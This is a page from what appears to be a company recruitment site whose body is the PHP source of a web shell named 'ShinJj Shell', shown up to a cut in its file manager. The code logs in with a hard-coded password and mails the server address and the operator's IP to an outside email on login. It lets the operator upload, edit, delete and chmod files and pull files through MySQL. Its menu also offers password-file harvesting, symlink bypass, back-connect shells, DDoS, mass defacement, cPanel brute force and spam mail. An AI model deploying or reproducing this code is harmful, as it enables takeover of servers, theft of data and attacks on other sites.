您当前的位置:首页 >> 人才招聘 >> 应聘流程

<?phperror_reporting(7);@set_magic_quotes_runtime(0);ob_start();$mtime = explode(' ', microtime());$starttime = $mtime[1] + $mtime[0];define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );define('IS_WIN', DIRECTORY_SEPARATOR == '\\');define('IS_COM', class_exists('COM') ? 1 : 0 );define('IS_GPC', get_magic_quotes_gpc());$dis_func = get_cfg_var('disable_functions');define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );@set_time_limit(0);foreach(array('_GET','_POST') as $_request) {	foreach($$_request as $_key => $_value) {		if ($_key{0} != '_') {			if (IS_GPC) {				$_value = s_array($_value);			}			$$_key = $_value;		}	}}/*=================  Info Login  ================*/$admin = array();$admin['check'] = 123;$admin['pass']  = '123'; // Password login$admin['cookiepre'] = '';$admin['cookiedomain'] = '';$admin['cookiepath'] = '/';$admin['cookielife'] = 86400;/*===================== End =====================*/if ($charset == 'utf8') {	header("content-Type: text/html; charset=utf-8");} elseif ($charset == 'big5') {	header("content-Type: text/html; charset=big5");} elseif ($charset == 'gbk') {	header("content-Type: text/html; charset=gbk");} elseif ($charset == 'latin1') {	header("content-Type: text/html; charset=iso-8859-2");}$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];$timestamp = time();/*===================== Login =====================*/if ($action == "logout") {	scookie('vbapass', '', -86400 * 365);	p('<meta http-equiv="refresh" content="0;URL='.$self.'">');	p('<body background=black>');	exit;}if($admin['check']) {	if ($doing == 'login') {		if ($admin['pass'] == $password) {			scookie('vbapass', $password);// Function mail Sender to my Email $time_shell = "".date("d/m/Y - H:i:s")."";$ip_remote = $_SERVER["REMOTE_ADDR"];$from_shellcode = '[email protected]'.gethostbyname($_SERVER['SERVER_NAME']).'';$to_email = '[email protected]';$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";@mail($to_email, $server_mail, $linkcr, $header);			p('<meta http-equiv="refresh" content="2;URL='.$self.'">');			p('<body bgcolor=black><BR><BR><ul class="loader">  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li></ul><style>.loader {  width: 250px;  height: 50px;  position: absolute;  top: 50%;  left: 50%;  margin: -25px -125px;  list-style-type: none;} .loader li {  float: left;  position: relative;} .circle {  width: 40px;  height: 40px;  border-radius: 0 0 50% 50%;  border: 4px solid #fff;  border-top: 0;  border-left: 0;  border-right: 0;} .ball {  position: absolute;  content: "";  width: 20px;  height: 20px;  top: 50%;  left: 50%;  margin-top: -10px;  margin-left: -10px;  border-radius: 100%;  background: #fff;  box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);} .circle {  -webkit-animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;  animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;} .ball {  -webkit-animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;  animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;} .loader li:nth-child(1) div {  -webkit-animation-delay: 100ms;  animation-delay: 100ms;} .loader li:nth-child(2) div {  -webkit-animation-delay: 200ms;  animation-delay: 200ms;} .loader li:nth-child(3) div {  -webkit-animation-delay: 300ms;  animation-delay: 300ms;} .loader li:nth-child(4) div {  -webkit-animation-delay: 400ms;  animation-delay: 400ms;} .loader li:nth-child(5) div {  -webkit-animation-delay: 500ms;  animation-delay: 500ms;} @keyframes rotate {  0%, 20% {    transform: rotate(0deg);  }  100% {    transform: rotate(360deg);  }} @-webkit-keyframes rotate {  0%, 20% {    -webkit-transform: rotate(0deg);  }  100% {    -webkit-transform: rotate(360deg);  }} @keyframes fall {  0%, 20% {    transform: translatey(-30px);    opacity: 0;  }  20%,  24%,  27%,  30%,  50%,  75% {    transform: translatey(0px);    opacity: 1;  }  22% {    transform: translatey(-10px)  }  25% {    transform: translatey(-6px)  }  28% {    transform: translatey(-2px)  }  30% {    box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);  }  75%,  100% {    box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);    transform: translatey(30px);    opacity: 0;  }} @-webkit-keyframes fall {  0%, 20% {    -webkit-transform: translatey(-30px);    opacity: 0;  }  20%,  24%,  27%,  30%,  50%,  75% {    -webkit-transform: translatey(0px);    opacity: 1;  }  22% {    -webkit-transform: translatey(-10px)  }  25% {    -webkit-transform: translatey(-6px)  }  28% {    -webkit-transform: translatey(-2px)  }  30% {    box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);  }  75%,  100% {    box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);    -webkit-transform: translatey(30px);    opacity: 0;  }}</style>');			exit;		}	else	{	$err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';echo $err_mess;	}}	if ($_COOKIE['vbapass']) {		if ($_COOKIE['vbapass'] != $admin['pass']) {			loginpage();		}	} else {		loginpage();	}}/*===================== Login =====================*/$errmsg = '';if ($action == 'phpinfo') {	if (IS_PHPINFO) {		phpinfo();	} else {		$errmsg = 'phpinfo() function has non-permissible';	}}if ($doing == 'downfile' && $thefile) {	if ([email protected]_exists($thefile)) {		$errmsg = 'The file you want Downloadable was nonexistent';	} else {		$fileinfo = pathinfo($thefile);		header('Content-type: application/x-'.$fileinfo['extension']);		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);		header('Content-Length: '.filesize($thefile));		@readfile($thefile);		exit;	}}if ($doing == 'backupmysql' && !$saveasfile) {	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);	$table = array_flip($table);	$result = q("SHOW tables");	if (!$result) p('<h2>'.mysql_error().'</h2>');	$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');	header('Content-type: application/unknown');	header('Content-Disposition: attachment; filename='.$filename);	$mysqldata = '';	while ($currow = mysql_fetch_array($result)) {		if (isset($table[$currow[0]])) {			$mysqldata .= sqldumptable($currow[0]);		}	}	mysql_close();	exit;}// Mysqlif($doing=='mysqldown'){	if (!$dbname) {		$errmsg = 'Please input dbname';	} else {		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);		if (!file_exists($mysqldlfile)) {			$errmsg = 'The file you want Downloadable was nonexistent';		} else {			$result = q("select load_file('$mysqldlfile');");			if(!$result){				q("DROP TABLE IF EXISTS tmp_angel;");				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");				//Download SQL				q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");				$result = q("select content from tmp_angel");				q("DROP TABLE tmp_angel");			}			$row = @mysql_fetch_array($result);			if (!$row) {				$errmsg = 'Load file failed '.mysql_error();			} else {				$fileinfo = pathinfo($mysqldlfile);				header('Content-type: application/x-'.$fileinfo['extension']);				header('Content-Disposition: attachment; filename='.$fileinfo['basename']);				header("Accept-Length: ".strlen($row[0]));				echo $row[0];				exit;			}		}	}}?><html><head><meta http-equiv="Content-Type" content="text/html; charset=gbk"><title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title><script type="text/javascript" language="javascript"><!--ML="P<>phTsmtr/9:Cuk RIc=jSw.o";MI="[email protected]=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";OT="";for(j=0;j<MI.length;j++){OT+=ML.charAt(MI.charCodeAt(j)-48);}document.write(OT);// --></script>	<meta http-equiv="Content-Type" content="text/html; charset=gbk" />	<tr class="alt1">	<style type="text/css">body, a:hover {cursor: url(http://ani.cursors-4u.net/cursors/cur-12/cur1081.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2013/02/28/firefly-pointer-2.html" target="_blank" title="Firefly Pointer 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Firefly Pointer 2" style="position:absolute; top: 0px; right: 0px;" /></a>		<td  width=10%><style> @import url(http://fonts.googleapis.com/css?family=Oxygen+Mono);/* Starter CSS for Menu */#cssmenu {  padding: 0;  margin: 0;  border: 0;  width: auto;}#cssmenu ul,#cssmenu li {  list-style: none;  margin: 0;  padding: 0;}#cssmenu ul {  position: relative;  z-index: 597;}#cssmenu ul li {  float: left;  min-height: 1px;  vertical-align: middle;}#cssmenu ul li.hover,#cssmenu ul li:hover {  position: relative;  z-index: 599;  cursor: default;}#cssmenu ul ul {  visibility: hidden;  position: absolute;  top: 100%;  left: 0;  z-index: 598;  width: 100%;}#cssmenu ul ul li {  float: none;}#cssmenu ul ul ul {  top: 0;  left: 190px;  width: 190px;}#cssmenu ul li:hover > ul {  visibility: visible;}#cssmenu ul ul {  bottom: 0;  left: 0;}#cssmenu ul ul {  margin-top: 0;}#cssmenu ul ul li {  font-weight: normal;}#cssmenu a {  display: block;  line-height: 1em;  text-decoration: none;}/* Custom CSS Styles */#cssmenu {  background: #333333;  border-bottom: 4px solid #1b9bff;  font-family: 'Oxygen Mono', Tahoma, Arial, sans-serif;  font-size: 12px;}#cssmenu > ul {  *display: inline-block;}#cssmenu:after,#cssmenu ul:after {  content: '';  display: block;  clear: both;}#cssmenu ul {  text-transform: uppercase;}#cssmenu ul ul {  border-top: 4px solid #1b9bff;  text-transform: none;  min-width: 190px;}#cssmenu ul ul a {  background: #1b9bff;  color: #ffffff;  border: 1px solid #0082e7;  border-top: 0 none;  line-height: 150%;  padding: 16px 20px;  font-size: 12px;}#cssmenu ul ul ul {  border-top: 0 none;}#cssmenu ul ul li {  position: relative;}#cssmenu ul ul li:first-child > a {  border-top: 1px solid #0082e7;}#cssmenu ul ul li:hover > a {  background: #4eb1ff;  color: #ffffff;}#cssmenu ul ul li:last-child > a {  -moz-border-radius: 0 0 3px 3px;  -webkit-border-radius: 0 0 3px 3px;  border-radius: 0 0 3px 3px;  -moz-background-clip: padding;  -webkit-background-clip: padding-box;  background-clip: padding-box;  -moz-box-shadow: 0 1px 0 #1b9bff;  -webkit-box-shadow: 0 1px 0 #1b9bff;  box-shadow: 0 1px 0 #1b9bff;}#cssmenu ul ul li:last-child:hover > a {  -moz-border-radius: 0 0 0 3px;  -webkit-border-radius: 0 0 0 3px;  border-radius: 0 0 0 3px;  -moz-background-clip: padding;  -webkit-background-clip: padding-box;  background-clip: padding-box;}#cssmenu ul ul li.has-sub > a:after {  content: '+';  position: absolute;  top: 50%;  right: 15px;  margin-top: -8px;}#cssmenu ul li:hover > a,#cssmenu ul li.active > a {  background: #1b9bff;  color: #ffffff;}#cssmenu ul li.has-sub > a:after {  content: '+';  margin-left: 5px;}#cssmenu ul li.last ul {  left: auto;  right: 0;}#cssmenu ul li.last ul ul {  left: auto;  right: 99.5%;}#cssmenu a {  background: #333333;  color: #CBCBCB;  padding: 0 20px;}#cssmenu > ul > li > a {  line-height: 48px;  font-size: 12px;}input, textarea, button{	font-size: 11pt;	color: 	white;	font-family: verdana, sans-serif;	background-color: rgba(255, 0, 0, 0.61);	border-left: 2px dashed #74A202;	border-top: 2px dashed #74A202;	border-right: 2px dashed #74A202;	border-bottom: 2px dashed #74A202;}    </style>			<html><head><meta http-equiv="Content-Type" content="text/html; charset=gbk"><link rel="icon" href="http://i189.photobucket.com/albums/z79/jamessyrum/wallpaper_by_sandara.jpg" type="image/x-icon" /><title>.:: ShinJj Shell ::. </title><style type="text/css">*{margin:0;padding:0}#ShinJj {position:fixed;top:0;left:0;width:100%;height:100%;z-index:-1;}body,td{background: rgb(240,240,240) url('http://www.anhnendephd.com/vn/anh/hinh-nen-3d/file/thumb/1920/1200/635057879.jpg') no-repeat center bottom;background-attachment: fixed;font-family:Tahoma;font-size:12px;color:#00dcff;line-height: 16px;font-weight: bold;}a {color: #00FF7F;text-decoration:none;}a:hover{color: yellow;text-decoration:underline;}.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:black;padding:5px 10px 5px 5px;}.alt2 td{border-top:1px solid gray;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}.head_small td{font-family:Arial; border-top:1px solid gray;border-bottom:1px solid gray;padding:5px 10px 5px 5px;font-weight:bold;font-size:8pt;}.head td span{font-weight:normal;}form{margin:0;padding:0;}h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}ul.info li{margin:0;color:#444;line-height:24px;height:24px;}u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}input, textarea, button{        font-size: 9pt;        color: #FFF;        font-family: verdana, sans-serif;        background-color: rgba(255, 0, 0, 0.61);        border-left: 1px solid #74A202;        border-top: 1px solid #74A202;        border-right: 1px solid #74A202;        border-bottom: 1px solid #74A202;}select{        font-size: 8pt;        font-weight: normal;        color: #ccc;        font-family: verdana, sans-serif;        background-color: #202020;}  @-webkit-keyframes tnkss{	1% {opacity: 0.0;}	25% {opacity: 0.3;}	50% {opacity: 0.1;}	75% {opacity: 0.7;}	100 {opacity: 1;}	}</style><script type="text/javascript">function CheckAll(form) {        for(var i=0;i<form.elements.length;i++) {                var e = form.elements[i];                if (e.name != 'chkall')                e.checked = form.chkall.checked;    }}function $(id) {        return document.getElementById(id);}function goaction(act){        $('goaction').action.value=act;        $('goaction').submit();}</script></head><body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black><div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">                                <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">                                        <tr>                                                <td align="center" valign=center>                                 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 80px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">                                   Waiting....<img src="http://publication.ida.org.in/images/loading.gif">                                  </div>                                </td>                                        </tr>                                </table></div> <script> var ld=(document.all);  var ns4=document.layers; var ns6=document.getElementById&&!document.all; var ie4=document.all;  if (ns4) 	ld=document.loading; else if (ns6) 	ld=document.getElementById("loading").style; else if (ie4) 	ld=document.all.loading.style;  function init() { if(ns4){ld.visibility="hidden";} else if (ns6||ie4) ld.display="none"; } </script><table width="100%" border="0" cellpadding="0" cellspacing="0">	<tr class="head_small">		<td  width=100%>		<table width=100%><tr class="head_small"><td  width=86px><a title="ShinJj Shell" href="<?php $self;?>"><img src=https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-xfa1/v/t1.0-9/12345570_186979111646190_6616937591065297706_n.jpg?oh=78a5c5db4810b024bd256b589c5fb01b&oe=56D4A958&__gda__=1461752174_2777eb6bae267cd4f86be6e0dea0c37b height=86 border=0></a></td><td>		<span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?>  | <a href="https://www.facebook.com/profile.php?id=100011074965700" target="_blank"><?php echo str_replace('.','','ShinJj');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />		<?php		$curl_on = @function_exists('curl_version');		$mysql_on = @function_exists('mysql_connect');		$mssql_on = @function_exists('mssql_connect');		$pg_on = @function_exists('pg_connect');		$ora_on = @function_exists('ocilogon');echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));echo "PHP version: <b>"[email protected]()."</b> - ";		echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));		echo "MySQL: <b>";$mysql_on = @function_exists('mysql_connect');if($mysql_on){echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }echo "MSSQL: <b>";$mssql_on = @function_exists('mssql_connect');if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}echo "PostgreSQL: <b>";$pg_on = @function_exists('pg_connect');if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}echo "Oracle: <b>";$ora_on = @function_exists('ocilogon');if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}echo "Disable functions : <b>";if(''==([email protected]_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}echo "<font color=white>Uname -a</font>: "[email protected](@php_uname(),0,120)."<br>";echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[Kernel Exploit]</b></font><br></a>";echo "<font color=white>Server</font>: "[email protected]($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: "[email protected]()."("[email protected]_current_user().") - uid="[email protected]()." ("[email protected]_current_user().") gid="[email protected]()."("[email protected]_current_user().")<br>";		?>		</td></tr></table></td>	</tr>	<tr class="alt1">		<td  width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>   <br />	<meta http-equiv="Content-Type" content="text/html; charset=gbk" />	<tr class="alt1">		<td  width=10%><style> #abt-nav,#abt-nav ul {    list-style: none outside none;    margin: 0;    padding: 0;}#abt-nav { background: url('http://www.taianhdep.net/wp-content/uploads/2013/07/hinhnendacsacchopowerpoint_25072013_6.jpg');    clear: both;    font-size: 12px;    height: 45px;    padding: 0 0 0 15px;    position: relative;    width: 100%;}#abt-nav ul {    background-color: #222;    border:1px solid #222;    border-radius: 0 5px 5px 5px;    border-width: 0 1px 1px;    box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);    left: -9999px;    overflow: hidden;    position: absolute;    top: -9999px;    z-index: 2;    -moz-transform: scaleY(0);    -ms-transform: scaleY(0);    -o-transform: scaleY(0);    -webkit-transform: scaleY(0);    transform: scaleY(0);    -moz-transform-origin: 0 0;    -ms-transform-origin: 0 0;    -o-transform-origin: 0 0;    -webkit-transform-origin: 0 0;    transform-origin: 0 0;    -moz-transition: -moz-transform 0.1s linear;    -ms-transition: -ms-transform 0.1s linear;    -o-transition: -o-transform 0.1s linear;    -webkit-transition: -webkit-transform 0.1s linear;    transition: transform 0.1s linear;}#abt-nav li {    background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;    float: left;    position: relative;}#abt-nav li a {    color: #FFFFFF;    display: block;    float: left;    font-weight: normal;    height: 30px;    padding: 23px 20px 0;    position: relative;    text-decoration: none;    text-shadow: 1px 1px 1px #000000;}#abt-nav li:hover > a {    color: #00B4FF;}#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {    background: none repeat scroll 0 0 #121212;    outline: 0 none;}#abt-nav li:hover ul.subs {    left: 0;    top: 53px;    width: 180px;    -moz-transform: scaleY(1);    -ms-transform: scaleY(1);    -o-transform: scaleY(1);    -webkit-transform: scaleY(1);    transform: scaleY(1);}#abt-nav ul li {    background: none;    width: 100%;}#abt-nav ul li a {    float: none;}#abt-nav ul li:hover > a {    background-color: #121212;    color: #00B4FF;}#lavalamp {    background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;    height: 16px;    left: 13px;    position: absolute;    top: 0px;    width: 64px;    -moz-transition: all 300ms ease;    -ms-transition: all 300ms ease;    -o-transition: all 300ms ease;    -webkit-transition: all 300ms ease;    transition: all 300ms ease;}#lavalamp:hover {    -moz-transition-duration: 3000s;    -ms-transition-duration: 3000s;    -o-transition-duration: 3000s;    -webkit-transition-duration: 3000s;    transition-duration: 3000s;}#abt-nav li:nth-of-type(1):hover ~ #lavalamp {    left: 17px;}#abt-nav li:nth-of-type(2):hover ~ #lavalamp {    left: 103px;}#abt-nav li:nth-of-type(3):hover ~ #lavalamp {    left: 178px;}#abt-nav li:nth-of-type(4):hover ~ #lavalamp {    left: 262px;}#abt-nav li:nth-of-type(5):hover ~ #lavalamp {    left: 344px;}#abt-nav li:nth-of-type(6):hover ~ #lavalamp {    left: 425px;}#abt-nav li:nth-of-type(7):hover ~ #lavalamp {    left: 522px;}#abt-nav li:nth-of-type(8):hover ~ #lavalamp {    left: 615px;}#abt-nav li:nth-of-type(9):hover ~ #lavalamp {    left: 705px;}#abt-nav li:nth-of-type(10):hover ~ #lavalamp {    left: 795px;}#abt-nav li:nth-of-type(11):hover ~ #lavalamp {    left: 900px;}#abt-nav li:nth-of-type(12):hover ~ #lavalamp {    left: 1005px;}#abt-nav li:nth-of-type(13):hover ~ #lavalamp {    left: 1100px;}#abt-nav li:nth-of-type(14):hover ~ #lavalamp {    left: 1190px;}#abt-nav li:nth-of-type(15):hover ~ #lavalamp {    left: 1287px;}#abt-nav li:nth-of-type(16):hover ~ #lavalamp {    left: 1377px;}#abt-nav li:nth-of-type(17):hover ~ #lavalamp {    left: 1475px;}#abt-nav li:nth-of-type(18):hover ~ #lavalamp {    left: 195px;}#abt-nav li:nth-of-type(19):hover ~ #lavalamp {    left: 1610px;}    </style>	<ul id="abt-nav">    <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang ch&#7911;</font></a></li>	<li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>	<li><a href="javascript:goaction('etcpwd');"><font color=#EEE0E5>Get user</font></a></li>    <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>        <ul class="subs">            <li><a href="javascript:goaction('cgi');" target="_blank" >CGI Shell Log</a></li>			<li><a href="javascript:goaction('telnet');" target="_blank" >CGI Telnet</a></li>			<li><a href="javascript:goaction('cgipin');" target="_blank">CGI Pin</a></li>            <li><a href="javascript:goaction('vb');" target="_blank">CGI Bypass</a></li>        </ul>    </li>            <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>	 <ul class="subs">	 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>	 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>	 <li><a href="javascript:goaction('bug');">Bug Shell</a></li>	 <li><a href="javascript:goaction('endecode');">Encode - Decode</a></li>	 <li><a href="javascript:goaction('reverseip');">Reverse IP</a></li>	</ul>	</li>	<li><a href="sym/" target="_blank"><font color=#FF3030>M&#7903; Sym-Root</font> </a></li>	<li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>	<ul class="subs">	<li><a href="javascript:goaction('viewdomain');">Domain-User</a></li>	<li><a href="javascript:goaction('symroot');">Symlink</a></li>	</ul>	</li>	<li><a href="javascript:goaction('ddosv2');"><font color=#FF8C00>DDos V2</font></a></li>	<li><a href="javascript:goaction('scan');"><font color=#00F5FF>Scan Shell</font></a></li>	<li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>		<ul class="subs">		<li><a href="javascript:goaction('mass');">With Root</a></li>		<li><a href="javascript:goaction('massfd');">User Folder</a></li>				</ul>	</li>	<li><a class="hsubs" href="#"><font color=#6CC417>Command</font></a>	<ul class="subs">		<li><a href="javascript:goaction('newcommand');">Command</a></li>		<li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>	</ul></li>	<li><a href="javascript:goaction('ShinJj');"><font color=#FF69B4>Deface</font></a></li>	<li><a href="#;"><font color=#ADFF2F>Back</font></a>	<ul class="subs">		<li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>		<li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>	</ul>		</li>	<li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>		<ul class="subs">		<li><a href="javascript:goaction('brute');"  >Brute Cpanel</a></li>		</ul>	</li>	<li><a href="javascript:goaction('findadmin');"><font color=#52F3FF>Find Admin</font></a></li>        <div id="lavalamp"></div></ul>            </td>	</tr></table><table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td><?phpformhead(array('name'=>'goaction'));makehide('action');formfoot();$errmsg && m($errmsg);// Dir function!$dir && $dir = '.';$nowpath = getPath(SA_ROOT, $dir);if (substr($dir, -1) != '/') {	$dir = $dir.'/';}$uedir = ue($dir);if (!$action || $action == 'file') {	// Non-writeable	$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';	// Delete dir	if ($doing == 'deldir' && $thefile) {		if (!file_exists($thefile)) {			m($thefile.' directory does not exist');		} else {			m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));		}	}	// Create new dir	elseif ($newdirname) {		$mkdirs = $nowpath.$newdirname;		if (file_exists($mkdirs)) {			m('Directory has already existed');		} else {			m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));			@chmod($mkdirs,0777);		}	}	// Upload file	elseif ($doupfile) {		m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));	}	// Edit file	elseif ($editfilename && $filecontent) {		$fp = @fopen($editfilename,'w');		m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));		@fclose($fp);	}	// Modify	elseif ($pfile && $newperm) {		if (!file_exists($pfile)) {			m('The original file does not exist');		} else {			$newperm = base_convert($newperm,8,10);			m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));		}	}	// Rename	elseif ($oldname && $newfilename) {		$nname = $nowpath.$newfilename;		if (file_exists($nname) || !file_exists($oldname)) {			m($nname.' has already existed or original file does not exist');		} else {			m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));		}	}	// Copu	elseif ($sname && $tofile) {		if (file_exists($tofile) || !file_exists($sname)) {			m('The goal file has already existed or original file does not exist');		} else {			m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));		}	}	// File exit	elseif ($curfile && $tarfile) {		if ([email protected]_exists($curfile) || [email protected]_exists($tarfile)) {			m('The goal file has already existed or original file does not exist');		} else {			$time = @filemtime($tarfile);			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));		}	}	// Date	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {		if ([email protected]_exists($curfile)) {			m(basename($curfile).' does not exist');		} else {			$time = strtotime("$year-$month-$day $hour:$minute:$second");			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));		}	}	// Download	elseif($doing == 'downrar') {		if ($dl) {			$dfiles='';			foreach ($dl as $filepath => $value) {				$dfiles.=$filepath.',';			}			$dfiles=substr($dfiles,0,strlen($dfiles)-1);			$dl=explode(',',$dfiles);			$zip=new PHPZip($dl);			$code=$zip->out;			header('Content-type: application/octet-stream');			header('Accept-Ranges: bytes');			header('Accept-Length: '.strlen($code));			header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');			echo $code;			exit;		} else {			m('Please select file(s)');		}	}	// Delete file	elseif($doing == 'delfiles') {		if ($dl) {			$dfiles='';			$succ = $fail = 0;			foreach ($dl as $filepath => $value) {				if (@unlink($filepath)) {					$succ++;				} else {					$fail++;				}			}			m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);		} else {			m('Please select file(s)');		}	}	// Function Newdir	formhead(array('name'=>'createdir'));	makehide('newdirname');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'fileperm'));	makehide('newperm');	makehide('pfile');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'copyfile'));	makehide('sname');	makehide('tofile');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'rename'));	makehide('oldname');	makehide('newfilename');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'fileopform'));	makehide('action');	makehide('opfile');	makehide('dir');	formfoot();	$free = @disk_free_space($nowpath);	!$free && $free = 0;	$all = @disk_total_space($nowpath);	!$all && $all = 0;	$used = $all-$free;	$used_percent = @round(100/($all/$free),2);	p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');?><table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">  